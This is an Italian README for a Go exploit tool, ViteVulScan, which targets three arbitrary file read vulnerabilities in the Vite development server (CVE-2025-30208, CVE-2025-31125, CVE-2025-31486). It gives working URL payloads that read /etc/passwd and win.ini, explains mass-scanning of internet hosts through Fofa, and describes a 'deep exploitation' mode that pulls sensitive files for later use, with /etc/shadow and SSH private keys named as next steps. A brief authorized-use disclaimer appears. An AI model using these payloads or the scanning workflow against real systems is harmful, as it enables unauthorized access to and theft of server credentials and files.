
Exploit per CVE-2025-30208 e CVE-2025-31125
Questo progetto riguarda 3 vulnerabilità: CVE-2025-30208/CVE-2025-31125/CVE-2025-31486, tutte relative alla vulnerabilità di lettura arbitraria dei file del server di sviluppo Vite. Queste tre vulnerabilità hanno una vasta copertura e sono semplici da sfruttare senza restrizioni.
CVE-2025-30208:
Windows: /@fs/C://Windows/win.ini?import&raw??
Linux: /@fs/etc/passwd?import&raw??
CVE-2025-31125
Windows: /@fs/C://windows/win.ini?import&?inline=1.wasm?init
Linux: /@fs/etc/passwd?import&?inline=1.wasm?init
CVE-2025-31486
Windows: /@fs/x/x/x/vite-project/?/../../../../../C://windows/win.ini?import&?inline=1.wasm?init
Linux: /@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?inline=1.wasm?init
Il percorso /@fs può essere omesso.
body="/@vite/client"
Versione Go: go 1.20 o superiore
Entra nella directory principale del progetto
Prima sincronizza le dipendenze:
go mod tidy
Poi compila il progetto:
go build -o ViteVulScan -ldflags="-s -w" -trimpath .
./ViteVulScan per eseguire lo script.
Ovviamente puoi anche eseguire direttamente il progetto nella directory principale:
go run .
Lo script supporta l'integrazione con Fofa per cercare asset ed eseguire test batch.
Per usare Fofa, assicurati che il file app.ini e il binario compilato siano nella stessa directory e modifica il file app.ini nella cartella config. Nel campo fofakey inserisci la tua fofakey; num è il numero approssimativo di asset che desideri testare.
Se hai una sintassi di ricerca Fofa migliore per questa vulnerabilità, puoi modificare il campo fofaQuery.
Usage of ./ViteVulScan:
http://example1.com
example2.com
127.0.0.1
Esempio 1: Test batch integrato con Fofa:
./ViteVulScan -fofa

Al termine della scansione, nella directory result troverai il file csv con gli URL sfruttati con successo, con nome basato sul timestamp:

Esempio 2: Sfruttamento approfondito di un URL vulnerabile:
./ViteVulScan -u example.com -e

Se viene mostrato "利用成功" (sfruttamento riuscito), puoi controllare la directory result: ci sarà una directory con il nome dell'URL scansionato. I contenuti dei file sensibili trovati vengono解析ati e salvati nel formato file originale nei percorsi corrispondenti, come mostrato di seguito:

Prendendo come esempio il contenuto salvato in result/localhost:5173/etc/passwd, si può vedere che il contenuto completo delle informazioni sensibili è stato salvato, facilitando lo sfruttamento successivo (se si riesce a leggere /etc/shadow o le chiavi private SSH del server, si può procedere ulteriormente).

Questo strumento è destinato esclusivamente alla ricerca sulla sicurezza e a test autorizzati. Non utilizzarlo per scopi illegali. L'utente è l'unico responsabile di qualsiasi conseguenza derivante dall'uso di questo strumento per test non autorizzati.
| Parametro | Descrizione |
|---|
| -cve | Specifica quale vulnerabilità CVE utilizzare per il test. Supporta CVE_2025_30208/CVE_2025_31125/CVE_2025_31486. Il valore predefinito è CVE_2025_30208. |
| -fofa | Se specificato, si integra con Fofa per la ricerca degli asset ed esegue test batch sui target ottenuti. |
| -u | -url | Specifica un singolo URL target da testare. |
| -f | -filename | Specifica un nome file per testare in batch gli URL in esso contenuti. |
| -e | Se specificato, esegue uno sfruttamento approfondito sugli asset risultati vulnerabili, leggendo vari possibili file sensibili e salvandoli in locale. (Usare con cautela: è preferibile testare un singolo target, cioè aggiungere questo parametro quando si usa -u). |